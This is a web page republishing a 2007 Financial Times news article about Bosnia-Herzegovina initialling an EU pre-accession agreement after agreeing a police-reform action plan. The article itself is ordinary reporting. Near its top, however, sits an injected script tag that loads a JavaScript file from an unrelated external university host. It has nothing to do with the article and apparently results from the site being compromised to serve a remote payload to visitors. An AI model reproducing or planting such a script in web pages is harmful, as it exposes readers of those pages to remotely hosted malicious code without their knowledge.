NEWS > 04 December 2007

Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Financial Times - London,Engla
04 December 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Police deal takes Bosnia close

Bosnia-Herzegovina will initial its pre-accession agreement with the European Union today after Muslim, Serb and Croatian parties adopted an "action plan" for police reform, the main obstacle to starting integration with the 27-member bloc for the past two years.

Olli Rehn, EU enlargement commissioner, announced the breakthrough after meeting Bosnian officials and party leaders to confirm the plan met EU requirements. The stabilisation and association agreement is the first step towards eventual EU membership.

All sides agreed that EU integration would help to calm tensions and bolster the fragile economy in the former Yugoslav republic of 4m people. If the promised reforms stay on schedule, the country might sign the pre-accession document next year. Signing would permit higher levels of EU aid to prepare the country for eventual membership.

Miroslav Lajcak, the high representative with executive power in the divided state, advised local politicians: "You must be ready to do your part. You must be fit, qualified for every stage of the process."

Western diplomats, fearing regional destabilisation, want to guard against unrest in Bosnia's Serb community, following failed negotiations over Kosovo, the United Nations-administered province demanding independence from neighbouring Serbia in the next few months.

Mr Lajcak, who is also the EU's envoy, helped to broker a compromise between Bosnia's Serbs and Bosniak Muslims in return for the initialling of the stabilisation and association agreement. A spokesman for Mr Lajcak said: "The European perspective was what brought them around," referring to the agreement.

The multi-ethnic state parliament adopted the action plan yesterday, combining broad EU principles with a six-month timeline to pass unified police laws and form central co-ordination, training and forensic agencies.

"Those two laws will make police more efficient at the state level," Gordan Milosevic, adviser to the Bosnian Serb leader, said. "But it will not change constitutional structures."

The EU says the budget for policing must be centralised, while operational command should be localised and free from political meddling. But the new plan defers any restructuring of existing police forces until a wider deal on constitutional reform has been reached.

With the assurance of EU integration, former warring factions can talk more easily about difficult compromises, both Serb and BosniakMuslim leaders say.

The Serb republic has refused to give up its own police. The other half of the country is a complex federation of Bosniak and Croat-dominated cantons. Bosniaks, the largest group, would prefer a unitary state without ethnic safeguards.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Financial Times - London,Engla04 December 2007

Police deal takes Bosnia close

EiP Comments:

Financial Times - London,Engla
04 December 2007